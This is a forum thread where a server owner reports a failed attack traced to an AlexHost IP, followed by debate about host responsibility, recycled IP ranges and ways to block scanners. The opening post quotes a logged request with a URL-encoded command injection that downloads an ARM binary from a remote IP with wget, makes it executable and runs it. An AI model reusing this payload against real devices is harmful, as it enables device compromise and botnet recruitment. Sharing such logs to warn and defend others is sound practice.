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Attack is coming to my server from AlexHost

jure12jure12 Member
edited June 20 in General

Log from my server:

91.208.184.113 - - [19/Jun/2025:15:35:57 +0200] "POST /device.rsp?opt=sys&cmd=S_O_S_T_R_E_A_MAX&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20arm7%3B%20wget%20http%3A%2F%2F193.32.162.74%2Fbins%2Farm7%3B%20chmod%20777%20arm7%3B%20.%2Farm7%20routers HTTP/1.1" 404 257

Conclusion:
This is an attack aimed at loading and executing a malicious binary on the server. Since the server responded with a 404, the attack failed via this path.

Attacker's IP address:
https://www.ip-tracker.org/lookup.php?ip=91.208.184.113

@alexhost

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Comments

  • Protocol903Protocol903 Member
    edited June 20

    Slightly unrelated:
    My prediction: AlexHost is gonna deadpool in a year or around for one reason or another. I know it will.

    As for topic, the bots using alexhost are attempting RCE.
    AlexHost has a habit of hosting habitual spammers and abusers. Here is a quick look:
    https://www.abuseipdb.com/check-block/91.208.184.113/24

  • @Protocol903 said:
    Slightly unrelated:
    My prediction: AlexHost is gonna deadpool in a year or around for one reason or another. I know it will.

    What reasons are those?

    I've looked thru some of the IPs. Not only do they have a lot of customers, but most of the sites hosted there seem legit and innocuous.

  • Protocol903Protocol903 Member
    edited June 20

    @ServerBachelor said: What reasons are those?

    It's a shot in the dark. Can't say the reason yet but I believe it will happen. For similar reason why Aeza and that other pq or some other hosting died.

    Plus those IP are also listed in some mail abuser. https://mxtoolbox.com/blacklists.aspx

  • jure12jure12 Member

    I would like to hear about this @alexhost

  • VeraselVerasel Member, Patron Provider

    one,
    ips are recycled
    two,
    boxes get pwned

    it most certainly has nothing to do with AH.

    just reach out, you'll get a new ip.

    Thanked by 1ethanblake87
  • jure12jure12 Member

    @Verasel said:
    one,
    ips are recycled
    two,
    boxes get pwned

    it most certainly has nothing to do with AH.

    just reach out, you'll get a new ip.

    The IP address currently belongs to AlexHost... everything else you listed is irrelevant.

  • @Protocol903 said:
    Slightly unrelated:
    My prediction: AlexHost is gonna deadpool in a year or around for one reason or another. I know it will.

    As for topic, the bots using alexhost are attempting RCE.
    AlexHost has a habit of hosting habitual spammers and abusers. Here is a quick look:
    https://www.abuseipdb.com/check-block/91.208.184.113/24

    That is strong prediction, any others you think would be deadpool too.

    Thanked by 1ServerBachelor
  • VeraselVerasel Member, Patron Provider

    @jure12 said:

    @Verasel said:
    one,
    ips are recycled
    two,
    boxes get pwned

    it most certainly has nothing to do with AH.

    just reach out, you'll get a new ip.

    The IP address currently belongs to AlexHost... everything else you listed is irrelevant.

    alexhost lease ips from other brokers.
    they generally do not own their ips.
    when they lease new ips, they are often times used by spammers, etc.
    takes time for them to get cleaned up.
    point is, it's not as simple as one would want to think.

    Thanked by 1alexhost
  • jure12jure12 Member

    @Verasel said:

    @jure12 said:

    @Verasel said:
    one,
    ips are recycled
    two,
    boxes get pwned

    it most certainly has nothing to do with AH.

    just reach out, you'll get a new ip.

    The IP address currently belongs to AlexHost... everything else you listed is irrelevant.

    alexhost lease ips from other brokers.
    they generally do not own their ips.
    when they lease new ips, they are often times used by spammers, etc.
    takes time for them to get cleaned up.
    point is, it's not as simple as one would want to think.

    You want to say that AH did not rent a server to someone who is trying to attack other servers.

    Here you have more details:
    https://myip.ms/info/whois/91.208.184.113

  • Those are just bots ig, nothing to worry about. You can block them on the firewall level or if useing nginx just 444 them ig

  • mwmw Member

    @jure12 said:

    @Verasel said:

    @jure12 said:

    @Verasel said:
    one,
    ips are recycled
    two,
    boxes get pwned

    it most certainly has nothing to do with AH.

    just reach out, you'll get a new ip.

    The IP address currently belongs to AlexHost... everything else you listed is irrelevant.

    alexhost lease ips from other brokers.
    they generally do not own their ips.
    when they lease new ips, they are often times used by spammers, etc.
    takes time for them to get cleaned up.
    point is, it's not as simple as one would want to think.

    You want to say that AH did not rent a server to someone who is trying to attack other servers.

    i'm sure they will take action against the user if you reported it to them. you did report it to them, right?

    Thanked by 2Falzo PineappleM
  • VeraselVerasel Member, Patron Provider

    @jure12 said:

    @Verasel said:

    @jure12 said:

    @Verasel said:
    one,
    ips are recycled
    two,
    boxes get pwned

    it most certainly has nothing to do with AH.

    just reach out, you'll get a new ip.

    The IP address currently belongs to AlexHost... everything else you listed is irrelevant.

    alexhost lease ips from other brokers.
    they generally do not own their ips.
    when they lease new ips, they are often times used by spammers, etc.
    takes time for them to get cleaned up.
    point is, it's not as simple as one would want to think.

    You want to say that AH did not rent a server to someone who is trying to attack other servers.

    Here you have more details:
    https://myip.ms/info/whois/91.208.184.113

    1. AH is huge.
    2. IPs they lease were used by PREVIOUS providers.
    3. SOME IPs were abused.
    4. It takes TIME to clean them up.

    That is NOT to say that:
    1. SOME IPs are IN FACT abused by AH clients.

    Regardless, in this case, it's absolute nonsense to blame AH for this.

    It's just how the world works.

    One time an IP is leased by one company, another... well, a completely different one. Some abuse them to hell, some not. It's up to the new company to clean it up.

  • jure12jure12 Member

    @mw said:

    @jure12 said:

    @Verasel said:

    @jure12 said:

    @Verasel said:
    one,
    ips are recycled
    two,
    boxes get pwned

    it most certainly has nothing to do with AH.

    just reach out, you'll get a new ip.

    The IP address currently belongs to AlexHost... everything else you listed is irrelevant.

    alexhost lease ips from other brokers.
    they generally do not own their ips.
    when they lease new ips, they are often times used by spammers, etc.
    takes time for them to get cleaned up.
    point is, it's not as simple as one would want to think.

    You want to say that AH did not rent a server to someone who is trying to attack other servers.

    i'm sure they will take action against the user if you reported it to them. you did report it to them, right?

    I'm reporting it here too. @alexhost

  • jure12jure12 Member

    @Fubukibox said:
    Those are just bots ig, nothing to worry about. You can block them on the firewall level or if useing nginx just 444 them ig

    I know all that, of course it's a bot, but you have to know that someone installed the bot and started the bot.

    Regarding the firewall, it is set to automatically block such things, blacklisting the IP.

  • jure12jure12 Member

    @Verasel said:

    @jure12 said:

    @Verasel said:

    @jure12 said:

    @Verasel said:
    one,
    ips are recycled
    two,
    boxes get pwned

    it most certainly has nothing to do with AH.

    just reach out, you'll get a new ip.

    The IP address currently belongs to AlexHost... everything else you listed is irrelevant.

    alexhost lease ips from other brokers.
    they generally do not own their ips.
    when they lease new ips, they are often times used by spammers, etc.
    takes time for them to get cleaned up.
    point is, it's not as simple as one would want to think.

    You want to say that AH did not rent a server to someone who is trying to attack other servers.

    Here you have more details:
    https://myip.ms/info/whois/91.208.184.113

    1. AH is huge.
    2. IPs they lease were used by PREVIOUS providers.
    3. SOME IPs were abused.
    4. It takes TIME to clean them up.

    That is NOT to say that:
    1. SOME IPs are IN FACT abused by AH clients.

    Regardless, in this case, it's absolute nonsense to blame AH for this.

    It's just how the world works.

    One time an IP is leased by one company, another... well, a completely different one. Some abuse them to hell, some not. It's up to the new company to clean it up.

    I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

  • VeraselVerasel Member, Patron Provider

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

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  • zedzed Member

    the internet is scary, randos always touching you

  • jure12jure12 Member
    edited June 20

    @Verasel said:

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

    Here you have the answer:
    https://bgp.tools/prefix/91.208.184.0/24

    Registered on
    7 Nov 2019 (5 years old)

    Registered to
    md.alexhost (ripe)

    Enough with the smart ones!

  • VeraselVerasel Member, Patron Provider

    @jure12 said:

    @Verasel said:

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

    Here you have the answer:
    https://bgp.tools/prefix/91.208.184.0/24

    Registered on
    7 Nov 2019 (5 years old)

    Registered to
    md.alexhost (ripe)

    Enough with the smart ones!

    So... what's the problem? Ask for a different IP? Different /24? Some people...

  • jure12jure12 Member

    @Verasel said:

    @jure12 said:

    @Verasel said:

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

    Here you have the answer:
    https://bgp.tools/prefix/91.208.184.0/24

    Registered on
    7 Nov 2019 (5 years old)

    Registered to
    md.alexhost (ripe)

    Enough with the smart ones!

    So... what's the problem? Ask for a different IP? Different /24? Some people...

    No problem, read the beginning of this post.
    This is just information, and I want to hear AH's comment.

    Best regards!

  • If this something always happen if we use cheap plan, than what is the need to use LET providers.

  • apollo15apollo15 Member
    edited June 20

    @jure12 said:

    @Verasel said:

    @jure12 said:

    @Verasel said:

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

    Here you have the answer:
    https://bgp.tools/prefix/91.208.184.0/24

    Registered on
    7 Nov 2019 (5 years old)

    Registered to
    md.alexhost (ripe)

    Enough with the smart ones!

    So... what's the problem? Ask for a different IP? Different /24? Some people...

    No problem, read the beginning of this post.
    This is just information, and I want to hear AH's comment.

    Best regards!

    block the IP and that's it

    do you think they dont have smarter work than commenting a compromised server?

    I get 1000of them daily from OVH, Hetzner, Leaseweb all over the place

  • kaitkait Member

    @Verasel said:

    @jure12 said:

    @Verasel said:

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

    Here you have the answer:
    https://bgp.tools/prefix/91.208.184.0/24

    Registered on
    7 Nov 2019 (5 years old)

    Registered to
    md.alexhost (ripe)

    Enough with the smart ones!

    So... what's the problem? Ask for a different IP? Different /24? Some people...

    Someone rented an AlexHost VPS and is scanning the whole world for vulnerable routers, OVH, Hetzner, Azure and everyone on this planet gets abused by those people, it's not an AlexHost thingy at all.

    Best you can do is report the AlexHost IP but you will still have a 1000 other IPs from all over the world scan and try out automated scripts that try to hack your server.

  • VeraselVerasel Member, Patron Provider

    @kait said:

    @Verasel said:

    @jure12 said:

    @Verasel said:

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

    Here you have the answer:
    https://bgp.tools/prefix/91.208.184.0/24

    Registered on
    7 Nov 2019 (5 years old)

    Registered to
    md.alexhost (ripe)

    Enough with the smart ones!

    So... what's the problem? Ask for a different IP? Different /24? Some people...

    Someone rented an AlexHost VPS and is scanning the whole world for vulnerable routers, OVH, Hetzner, Azure and everyone on this planet gets abused by those people, it's not an AlexHost thingy at all.

    Best you can do is report the AlexHost IP but you will still have a 1000 other IPs from all over the world scan and try out automated scripts that try to hack your server.

    Ah, need some sleep :)

    Yeah, good luck with that... Day I am going to block any AS or ranges is the day I am going to quit the Internets, haha.

  • kaitkait Member

    @Verasel said:

    @kait said:

    @Verasel said:

    @jure12 said:

    @Verasel said:

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

    Here you have the answer:
    https://bgp.tools/prefix/91.208.184.0/24

    Registered on
    7 Nov 2019 (5 years old)

    Registered to
    md.alexhost (ripe)

    Enough with the smart ones!

    So... what's the problem? Ask for a different IP? Different /24? Some people...

    Someone rented an AlexHost VPS and is scanning the whole world for vulnerable routers, OVH, Hetzner, Azure and everyone on this planet gets abused by those people, it's not an AlexHost thingy at all.

    Best you can do is report the AlexHost IP but you will still have a 1000 other IPs from all over the world scan and try out automated scripts that try to hack your server.

    Ah, need some sleep :)

    Yeah, good luck with that... Day I am going to block any AS or ranges is the day I am going to quit the Internets, haha.

    Yeah exactly, its a pointless thing, just run fail2ban/crowdsec and auto block those IPs or leave the Internet or don't give a fuck.

  • MoopahMoopah Member
    edited June 20

    @kait said:

    @Verasel said:

    @kait said:

    @Verasel said:

    @jure12 said:

    @Verasel said:

    @jure12 said: I don't know, but before buying an IP address, I would also check what I'm buying, how much of it is contaminated. That's pure logic, isn't it?

    Absolutely, brother...

    In that case:

    • Speak to the sales department, but with the so called "offshore" hosts, they will laugh at you and tell you to go to Linode, etc. and that they don't have time for you or your demands.

    So you are in somewhat of a pickle... One thing you can do is to simply go to bgp.tools, look up all of their ranges through Spamhaus (SBL), and see if they are SBL'd or not.

    If not, you're gucci.

    If not, well, move on, I suppose... Some people that keep a clean network are @Clouvider, if I remember correctly. Otherwise, you pretty much have to use mainstream costs, or someone like SpectraIP.. if he can hook you up with /29 from a clean /24? If I remember correctly, you are good with Spectra.

    Here you have the answer:
    https://bgp.tools/prefix/91.208.184.0/24

    Registered on
    7 Nov 2019 (5 years old)

    Registered to
    md.alexhost (ripe)

    Enough with the smart ones!

    So... what's the problem? Ask for a different IP? Different /24? Some people...

    Someone rented an AlexHost VPS and is scanning the whole world for vulnerable routers, OVH, Hetzner, Azure and everyone on this planet gets abused by those people, it's not an AlexHost thingy at all.

    Best you can do is report the AlexHost IP but you will still have a 1000 other IPs from all over the world scan and try out automated scripts that try to hack your server.

    Ah, need some sleep :)

    Yeah, good luck with that... Day I am going to block any AS or ranges is the day I am going to quit the Internets, haha.

    Yeah exactly, its a pointless thing, just run fail2ban/crowdsec and auto block those IPs or leave the Internet or don't give a fuck.

    Just block 0.0.0.0/0 and ::/0 in your firewall, it's even simpler, doesn't require installing anything extra (assuming you have a firewall installed). I was able to block a large number of malicious traffic with this one simple trick.

  • DyingcatDyingcat Member

    That's life.

    I meet such visits from all over the world everyday, most of which come from China, US, Brazil.

  • RubbenRubben Member

    sue them

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  • mrTommrTom Member

    @Protocol903 said: AlexHost has a habit of hosting habitual spammers and abusers. Here is a quick look:

    https://www.abuseipdb.com/check-block/91.208.184.113/24

    Thats a pretty impressive percentage of customers that happen to be abusers, without any knowlegde of the host of course..... Imagine what would happen businesswise if they reacted on abuse reports...

  • KolestorKolestor Member

    hmm, normal

    that is the internet, secure your web apps and ports

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